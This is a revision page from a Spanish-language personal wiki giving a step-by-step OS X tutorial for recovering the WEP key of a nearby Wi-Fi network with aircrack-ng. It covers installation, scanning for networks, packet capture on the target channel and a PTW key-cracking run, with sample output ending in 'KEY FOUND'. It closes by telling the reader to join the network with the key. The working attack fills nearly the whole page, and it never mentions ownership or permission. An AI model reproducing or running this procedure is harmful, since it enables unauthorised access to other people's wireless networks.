Difference between revisions of "OS X, Obtener Clave WEP de WiFi"

From Wiki de Caballero
Jump to navigation Jump to search
m (Felipe moved page OS X, Obtener Clave WEP en OS X to OS X, Obtener Clave WEP de WiFi without leaving a redirect)
Line 11: Line 11:
<source lang="bash">airport -s</source>
<source lang="bash">airport -s</source>


'''Nota''': Si no funciona el comando airport, hay que generar un link a la ruta completa del archivo así: <code>sudo ln -s /System/Library/PrivateFrameworks/Apple80211.framework/Versions/Current/Resources/airport /usr/sbin/airport</code>.<br>
'''Nota''': Puede que requiera sudo, lo probé con y sin, sin inconvenientes.<br>
'''Nota''': Puede que requiera sudo, lo probé con y sin, sin inconvenientes.<br>
'''Nota''': Para ver las opciones ejecutar <code>airport —help</code>, ya que <code>man airport</code> no muestra nada.
'''Nota''': Para ver las opciones ejecutar <code>airport —help</code>, ya que <code>man airport</code> no muestra nada.

Revision as of 22:44, 18 April 2015

Estas instrucciones fueron probadas en OS X Mavericks

Instalar aircrack-ng

Para este método de instalación se usa MacPorts por lo que tiene que estar instalado (https://www.macports.org/). Ejecutar el siguiente comando:

sudo port install aircrack-ng

Obtener información de la red

Para obtener una contraseña hace falta saber qué red se quiere utilizar. Para esto se corre el siguiente comando:

airport -s

Nota: Si no funciona el comando airport, hay que generar un link a la ruta completa del archivo así: sudo ln -s /System/Library/PrivateFrameworks/Apple80211.framework/Versions/Current/Resources/airport /usr/sbin/airport.
Nota: Puede que requiera sudo, lo probé con y sin, sin inconvenientes.
Nota: Para ver las opciones ejecutar airport —help, ya que man airport no muestra nada.

El resultado debe ser algo similar a:

                            SSID BSSID             RSSI CHANNEL HT CC SECURITY (auth/unicast/group)
                      NombreWifi aa:bb:cc:dd:ee:01 -90  9       Y  -- WPA2(PSK/AES,TKIP/TKIP) 
                     NombreWifi2 aa:bb:cc:dd:ee:02 -91  8       Y  -- WPA(PSK/AES,TKIP/TKIP) WPA2(PSK/AES,TKIP/TKIP) 
                     NombreWifi3 aa:bb:cc:dd:ee:03 -90  6       Y  GB WPA2(PSK/AES,TKIP/TKIP) 
                     NombreWifi4 aa:bb:cc:dd:ee:04 -90  6       Y  TW WPA2(PSK/AES/AES) 
                     NombreWifi5 aa:bb:cc:dd:ee:05 -88  1       N  -- WEP
                     NombreWifi6 aa:bb:cc:dd:ee:06 -88  11      Y  -- WPA(PSK/TKIP/TKIP) WPA2(PSK/AES/TKIP) 
                     NombreWifi7 aa:bb:cc:dd:ee:07 -60  10      N  -- WEP

En este resultado de ejemplo, todas las mac address de las bases son casi la misma para efectos del ejemplo. Se usa NombreWifi7 para las pruebas ya que usa WEP.

Captura de paquetes

El siguiente paso es obtener los paquetes de la red que nos interesa. Para eso necesitamos saber el canal en que transmite la red y la interfaz de wifi que se usa. Normalmente en OS X, la interfaz de wifi es en0. Al revisar los resultados de la prueba anterior, se ve que el canal que usa NombreWifi7 es el 10. Entonces, el comando a ejecutar es el siguiente:

sudo airport en0 sniff 10

Nota: Si se quiere terminar el comando se hace CTRL-C.

Este comando va a generar un un archivo con los paquetes capturados a través de la interfaz en0 en el canal 10. El archivo es /tmp/airport[******].cap, donde [******] son caracteres (aparentemente) aleatorios. Cada vez que se ejecuta el comando se genera un archivo diferente.

El programa (comando ejecutado) debe capturar suficientes paquetes para lograr obtener la contraseña. Se puede monitorear el tamaño del archivo ejecutando en otro terminal (u otra pestaña del terminal) el siguiente comando:

watch -n 1 "ls -lht /tmp/ | grep airport"

El comando watch ejecuta un comando repetidamente en un intervalo de tiempo. En este caso, se ejecuta cada segundo ls -lht /tmp/ | grep airport. El resultado es algo similar a lo siguiente:

Every 1.0s: ls -lht /tmp/ | grep airport                                            Sat Apr 18 19:05:55 2015

-rw-r--r--  1 root    wheel    24B Apr 18 18:32 airportSniffXhqgCB.cap
-rw-r--r--  1 root    wheel   3.9M Apr 18 18:30 airportSniffrDc7Bd.cap
-rw-r--r--  1 root    wheel    24B Apr 18 18:19 airportSnifflKMxnv.cap
-rw-r--r--  1 root    wheel   491K Apr 18 18:19 airportSniffZPxyN0.cap
-rw-r--r--  1 root    wheel    24B Apr 18 18:17 airportSniffhcH1jP.cap
-rw-r--r--  1 root    wheel    24B Apr 18 18:16 airportSniffMsL6Wa.cap

El tamaño del archivo que se está generando cambia de tamaño en la medida que crezca. La lista de archivos está ordenada de más nuevo a más viejo. Mientras no haya actividad en la red el tamaño del archivo no crece.

Nota: Si se quiere terminar el comando se hace CTRL-C.
Nota: Para una prueba que hice puse a descargar en otro computador un video grande de YouTube y en pocos segundos el archivo pesaba 100MB, suficiente para la extracción de la clave.

Extracción de clave

Para extraer la clave se ejecuta el siguiente comando, con el archivo generado en el paso anterior:

aircrack-ng -1 -a 1 -b aa:bb:cc:dd:ee:07 airportSniffrDc7Bd.cap

Si todo sale bien, se tiene un resultado similar al siguiente:

Opening airportSniffrDc7Bd.cap
Attack will be restarted every 5000 captured ivs.
Starting PTW attack with 101418 ivs.
                         KEY FOUND! [ 12:34:56:78:90 ] 
	Decrypted correctly: 100%

La clave de este ejemplo es 1234567890. Para ingresar al wifi hay que ingresar como se haría con cualquier red y a la hora que el computador pida contraseña ingresar la clave encontrada.

Referencias